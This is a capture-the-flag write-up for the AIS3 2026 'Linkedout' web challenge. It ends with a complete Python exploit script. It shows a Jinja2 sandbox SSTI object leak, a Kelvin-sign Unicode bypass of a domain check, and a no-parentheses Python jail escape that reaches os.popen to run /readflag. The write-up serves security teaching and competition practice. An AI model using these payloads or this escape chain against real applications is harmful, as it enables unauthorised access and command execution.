Skip to content
Suzu
6 min read

【Web】AIS3 Pre-Exam 2026 Writeup: Linkedout

A web writeup for Linkedout, from file read to the final application exploit chain.

Series
30 posts
View the complete series →
On this page

【AIS3 Pre-Exam 2026 Writeup】Web - Linkedout

Source came from the app itself.

After login, /media could read files under /app:

/media?file=app.py
/media?file=renderer.py
/media?file=requirements.txt
/media?file=templates/compose.html

app.py showed the normal Flask routes, plus one blueprint:

from lib import admin_models, recruiter_labs

app.register_blueprint(recruiter_labs.create_blueprint(require_login))

/media had a path filter:

requested = request.args.get("file", "")
path = PurePosixPath(requested)
if not requested or path.is_absolute() or ".." in path.parts:
    abort(404)

if "lib" in requested.lower():
    abort(404)

target = (APP_ROOT / Path(*path.parts)).resolve()
target.relative_to(APP_ROOT)

/media was useful for source review, but not enough to read lib/recruiter_labs.py. URL encoding, double encoding, Unicode lookalike characters, null bytes, and traversal tricks did not help. The target path still had to stay under /app, and the raw request string could not contain lib. No clean bypass there.

The main routes were still useful. /compose sends my post body to a renderer service:

payload = {"body": body, "user": {"id": user["id"], "email": user["email"]}}
resp = requests.post(RENDERER_URL, json=payload, timeout=3)
rendered = resp.json().get("rendered", "")

renderer.py used Jinja2 sandbox:

env = SandboxedEnvironment(autoescape=False)

class Renderer:
    version = "linkedout-renderer/jinja-" + jinja2.__version__

    def render(self, body, user):
        return env.from_string(body).render(user=user, renderer=self)

{{ 7*7 }} worked, so SSTI was real.

{{ 7*7 }}

Output:

49

Unsafe attributes did not work directly:

{{ renderer.render.__globals__ }}

Sandbox blocked it. I first thought maybe this was the final path, because Jinja2 was 3.1.5, and CVE-2025-27516 was relevant.

str.format bypass worked for object traversal:

{{ "{0.render.__globals__[admin_models].__builtins__[open]}"|attr("format")(renderer) }}

Output:

<built-in function open>

The renderer sandbox could leak objects. It also leaked admin_models details:

TRUSTED_DOMAIN = linkedout.local
public_signup_domain_blocked.__code__.co_consts =
(None, 'SELECT 1 WHERE ? = ? COLLATE NOCASE')

But str.format only gives field traversal. It does not call open("/flag"). I could see dangerous objects, but not execute them. I went back to this later for recon, not for the final exploit.

The registration check and the lab check were not the same.

Registration blocked trusted domain with SQLite:

SELECT 1 WHERE ? = ? COLLATE NOCASE

Recruiter Labs used Python lowercase:

domain.lower() == "linkedout.local"

Kelvin sign was enough:

"linKedout.local".lower()
# "linkedout.local"

This email passed both sides in the wrong way:

test@linKedout.local

SQLite NOCASE did not treat as k, so registration was allowed. Python .lower() did treat it as k, so /recruiter/labs was allowed.

Protections here were application filters, not ELF protections:

  • SQLite NOCASE domain block
  • Flask login session
  • /media path filter and lib substring block
  • Jinja2 SandboxedEnvironment
  • Recruiter Labs pyjail whitelist

No native binary existed in this folder, so there were no real gdb observations or glibc/printf path. The useful debugging was small HTTP probes and reading what each endpoint returned.

Recruiter Labs showed the formula alphabet:

abcdefghijklmnopqrstuvwxyz_.[]

Everything else was stripped. No digits, no quotes, no parentheses, no spaces, no =.

The visible values were:

score        -> 42
connections  -> 313
profile      -> namespace(headline='Product security engineer',
                          location='Local office',
                          availability='Interviewing')
__builtins__ -> {}

Common pyjail names failed:

copyright -> NameError
license   -> NameError
help      -> NameError

Public copyright payloads did not apply.

List comprehension assignment still worked. This gave storage.

[[[]]for[profile.x]in[[score]]if[]]or[profile.x]

Conceptually:

profile.x = score
profile.x

A normal no-parentheses escape was my first pyjail idea:

profile.__class__.__repr__ = ...
profile.__class__.__getitem__ = ...

That failed. types.SimpleNamespace and built-in classes were immutable in the places I needed. Setting instance special methods also did not trigger Python’s special lookup. No trigger, no path.

object.__subclasses__ was reachable:

profile.__class__.__base__.__subclasses__

But it was only a method object. Without parentheses, it was not called.

The useful primitive came from types.GenericAlias.

In Python, list[x] creates a GenericAlias. If x has __typing_subst__, then later substitution calls it. In normal Python:

profile.__typing_subst__ = some_function
list[profile][arg]

That calls:

some_function(arg)

In the jail, list can be written as:

[].__class__

The call primitive became:

profile.__typing_subst__ = func
[].__class__[profile][arg].__args__[0]

With allowed characters only:

[[[]]for[profile.__typing_subst__]in[[func]]if[]]or[].__class__[profile][arg].__args__[[]is[]]

[]is[] is False, so as an index it is 0.

That solved the no-parentheses problem.

Next target was object.__subclasses__(). Direct bound method was not enough, so the descriptor from type.__dict__ was better.

The name string came from an existing object:

profile.__class__.__base__.__subclasses__.__name__

That is "__subclasses__".

Conceptually:

profile.__typing_subst__ = type.__dict__[object.__subclasses__.__name__]
subs = list[profile][object].__args__[0]

In the running container, subs[142] was:

os._wrap_close

Then:

os._wrap_close.__init__.__globals__

gave the os module globals.

Environment dump came first:

SERVICE_ROLE=web
PWD=/app
RENDERER_URL=http://linkedout_..._renderer:5001/render
SECRET_KEY=...

No flag there.

Root listing:

os.listdir("/")

Root directory contained:

flag
readflag
flag-src
app
...

Direct file read failed:

open("/flag").read()

Result:

PermissionError

/flag existed, but the web user could not read it. /readflag looked like the intended helper. Final call:

os.popen("/readflag").read(313)

Flag output:

AIS3{now_you_know_the_unicode_confusion_and_the_jailBrEEEEEaK_e23ba2}

Full exploit script:

#!/usr/bin/env python3
import html
import random
import re
import string

import requests


TARGET = "http://chals1.ais3.org:36002"


def A(attr, expr):
    return f"[[[]]for[profile.{attr}]in[[{expr}]]if[]]"


def S(func):
    return A("__typing_subst__", func)


def C(arg):
    return f"[].__class__[profile][{arg}].__args__[[]is[]]"


def register():
    s = requests.Session()
    email = "u" + "".join(random.choice(string.ascii_lowercase) for _ in range(8))
    email += "@lin\u212Aedout.local"
    r = s.post(
        TARGET + "/register",
        data={"email": email, "password": "p"},
        timeout=8,
        allow_redirects=True,
    )
    r.raise_for_status()
    return s


parts = []

# Basic constants.
parts += [
    A("four", "score.__class__.__itemsize__"),
    A("eight", "[].__class__[score].__args__.__class__.__itemsize__"),
    S("profile.four.__sub__"),
    A("three", C("not[]")),
    S("profile.three.__sub__"),
    A("two", C("not[]")),
]

# Build subclass index 142.
parts += [
    S("score.__mul__"),
    A("x", C("profile.four")),
    S("profile.x.__sub__"),
    A("y", C("score.__class__.__basicsize__")),
    S("profile.y.__sub__"),
    A("z", C("not[]")),
    S("profile.z.__sub__"),
    A("i", C("not[]")),
]

# object.__subclasses__ -> os._wrap_close -> os globals.
subclasses_func = (
    "profile.__class__.__base__.__class__.__dict__"
    "[profile.__class__.__base__.__subclasses__.__name__]"
)

parts += [
    S(subclasses_func),
    A("subs", C("profile.__class__.__base__")),
    A("cls", "profile.subs[profile.i]"),
    A("g", "profile.cls.__init__.__globals__"),
    S("[].__class__"),
    A("keys", C("profile.g")),
]

# Builtins and chr.
parts += [
    S("profile.four.__add__"),
    A("five", C("not[]")),
    S("profile.five.__add__"),
    A("six", C("not[]")),
    A("bkey", "profile.keys[profile.six]"),
    S("profile.g.__getitem__"),
    A("b", C("profile.bkey")),
    S("[].__class__"),
    A("bkeys", C("profile.b")),
    S("profile.eight.__add__"),
    A("twelve", C("profile.four")),
    S("profile.twelve.__add__"),
    A("thirteen", C("not[]")),
    S("profile.thirteen.__add__"),
    A("fourteen", C("not[]")),
    A("chrkey", "profile.bkeys[profile.fourteen]"),
    S("profile.b.__getitem__"),
    A("chrfunc", C("profile.chrkey")),
]

# Character codes for /readflag and popen.
parts += [
    A("forty", "[].__class__.__basicsize__"),
    S("score.__add__"),
    A("fortysix", C("profile.four")),
    S("profile.fortysix.__add__"),
    A("cslash", C("not[]")),
    S("profile.i.__sub__"),
    A("cf", C("profile.forty")),
    S("profile.cf.__sub__"),
    A("ce", C("not[]")),
    S("profile.cf.__sub__"),
    A("cd", C("profile.two")),
    S("profile.cf.__sub__"),
    A("ca", C("profile.five")),
    S("profile.cf.__add__"),
    A("cg", C("not[]")),
    S("profile.cf.__add__"),
    A("cl", C("profile.six")),
    S("profile.cl.__add__"),
    A("cr", C("profile.six")),
    S("profile.cr.__sub__"),
    A("cp", C("profile.two")),
    S("profile.cp.__sub__"),
    A("co", C("not[]")),
    S("profile.co.__sub__"),
    A("cn", C("not[]")),
]

for attr, num in [
    ("slash", "profile.cslash"),
    ("f", "profile.cf"),
    ("e", "profile.ce"),
    ("d", "profile.cd"),
    ("a", "profile.ca"),
    ("gch", "profile.cg"),
    ("l", "profile.cl"),
    ("r", "profile.cr"),
    ("p", "profile.cp"),
    ("o", "profile.co"),
    ("n", "profile.cn"),
]:
    parts += [S("profile.chrfunc"), A(attr, C(num))]

# Empty string.
parts += [S("profile.location.join"), A("empty", C("[]"))]

# cmd = /readflag
parts += [S("profile.empty.__add__"), A("cmd", C("profile.slash"))]
for ch in ["r", "e", "a", "d", "f", "l", "a", "gch"]:
    parts += [S("profile.cmd.__add__"), A("cmd", C(f"profile.{ch}"))]

# popenkey = popen
parts += [S("profile.empty.__add__"), A("popenkey", C("profile.p"))]
for ch in ["o", "p", "e", "n"]:
    parts += [S("profile.popenkey.__add__"), A("popenkey", C(f"profile.{ch}"))]

# os.popen("/readflag").read(313)
parts += [
    S("profile.g.__getitem__"),
    A("popenfunc", C("profile.popenkey")),
    S("profile.popenfunc"),
    A("proc", C("profile.cmd")),
    S("profile.proc.read"),
    A("data", C("connections")),
]

payload = "or".join(parts) + "or[profile.data][[]is[]]"

s = register()
r = s.post(TARGET + "/recruiter/labs", data={"formula": payload}, timeout=30)
r.raise_for_status()

m = re.search(r"<h2>Candidate Ranking Preview</h2><pre>(.*?)</pre>", r.text, re.S)
print(html.unescape(m.group(1)))

Share this page